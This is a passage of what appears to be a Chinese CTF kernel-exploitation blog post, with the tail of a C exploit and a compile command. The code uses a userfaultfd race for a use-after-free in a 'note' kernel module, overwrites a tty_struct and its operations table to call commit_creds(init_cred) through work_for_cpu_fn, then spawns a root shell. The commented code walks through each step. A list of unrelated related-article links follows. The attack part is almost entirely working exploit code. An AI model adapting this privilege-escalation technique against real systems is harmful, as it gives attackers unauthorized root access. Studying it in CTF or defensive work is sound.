MAP_PRIVATE,-1,0);register_userfaultfd_for_thread_stucking(&monitor,uffd_addr,0x1000);// 初始化信号量。我们使用信号量来控制线程的先后顺序。sem_init(&evil_add,0,0);sem_init(&evil_edit,0,0);printf("\033[31m Making UAF..... \033[0m\n");//创建两个线程,第一个来构造UAF,第二个来修改其size。//由于这两个线程的函数内部都需要信号量,因此需要调用对应的sem_post才会开始执行pthread_create(&edit_thread,NULL,make_UAF,NULL);pthread_create(&add_thread,NULL,fix_size,NULL);// 控制make_UAF函数执行sem_post(&evil_edit);sleep(1);printf("Fix Size.......\n");//控制fix_size函数执行修复sizesem_post(&evil_add);sleep(1);printf("Alloc tty_struct...\n");// 打开tty_struct结构体,此时我们的chunk0即指向该结构体,由于UAFtty_fd = open("/dev/ptmx",O_RDWR| O_NOCTTY);if(tty_fd<0){err_exit("failed open tty_struct!!!");exit(0);}// 读取该tty_struct结构体的值到origin_tty_struct备份,并读到fake_tty_struct来修改note_read(0 , origin_tty_struct);note_read(0,fake_tty_struct);if(*(int*)origin_tty_struct != 0x5401){printf("The magic value of tty is 0x%llx != 0x5401.", (size_t)*(int*)origin_tty_struct);exit(0);}printf("Tty alloc done. Making UAF successed.\n");// 设置tty_operation[12]的ioctl函数为work_for_cpu_fn// 会导致执行ioctl时执行tty_struct[4](tty_struct[5])fake_tty_operation[12] = work_for_cpu_fn;// 由于fake_tty_operations现在位于用户态,我们将其内容写到内核态才行(smap)note_add(1,0x60,"aaaa");note_edit(1,0x2e0,"bbbb");note_write(1,fake_tty_operation);// 通过gift读出note堆块地址,我们刚刚已经将fake_tty_operation写到堆块1上size_t note_addr[0x10] = {0};note_gift(note_addr);// note_addr[2] 就是fake_tty_operation。fake_tty_struct[3] = note_addr[2];fake_tty_struct[4] = commit_creds_addr;fake_tty_struct[5] = init_cred;// 将fake_tty_struct写回tty_structnote_write(0,fake_tty_struct);// 通过ioctl触发work_for_cpu_fn触发commit_creds(&init_cred);printf("\033[1;32m  Triger work_for_cpu_fn by ioctl... \033[0m\n");ioctl(tty_fd,1,1);// 已经执行了commit_creds(&init_cred);提权// 修复tty_struct防止u报错printf("Repairing the tty_struct...\n");note_write(0, origin_tty_struct);get_shell();return 0;
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void show_addr(char *name,size_t addr){printf("\033[1;33m %s addr is ============>>>>>: 0x%lx  \033[0m\n",name,addr);
}

使用musl-gcc编译

musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

在这里插入图片描述

http://www.dtcms.com/a/348766.html

相关文章:

  • PMP项目管理知识点-②项⽬环境
  • LeetCode 第464场周赛 第三天
  • 抽奖池项目测试
  • 【信息安全】英飞凌TC3xx安全调试口功能实现(调试口保护)
  • 解决Ubuntu22.04 安装vmware tools之后,不能实现文件复制粘贴和拖拽问题
  • AIStarter安装与调试:一键启动与收益中心教程
  • 为什么hive在处理数据时,有的累加是半累加数据
  • Codejock Suite ProActiveX COM Crack
  • C++如何将多个静态库编译成一个动态库
  • 【C++】 9. vector
  • golang3变量常量
  • 【golang长途旅行第30站】channel管道------解决线程竞争的好手
  • 在WSL2-Ubuntu中安装Anaconda、CUDA13.0、cuDNN9.12及PyTorch(含完整环境验证)
  • 深度学习与自动驾驶中的一些技术
  • 51c自动驾驶~合集18
  • 点评《JMeter核心技术、性能测试与性能分析》一书
  • 使用单个连接进行数据转发的设计
  • 大数据毕业设计选题推荐-基于大数据的北京市医保药品数据分析系统-Spark-Hadoop-Bigdata
  • 1688拍立淘接口数据全面解析详细说明(item_search_img)
  • Highcharts Maps/地图 :高性能的地理数据可视化方案
  • 打工人日报#20250824
  • CTFHub技能树 git泄露3道题练习--遇到没有master如何解决!!!
  • 一文掌握 Java 键盘输入:从入门到高阶(含完整示例与避坑指南)
  • 【大模型LLM学习】Research Agent学习笔记
  • c++随笔二
  • CI/CD企业案例详解
  • 从零开始学习概念物理(第13版)(1)
  • 问卷管理系统测试报告
  • 极验demo(float)(二)
  • JAVA快速学习(一)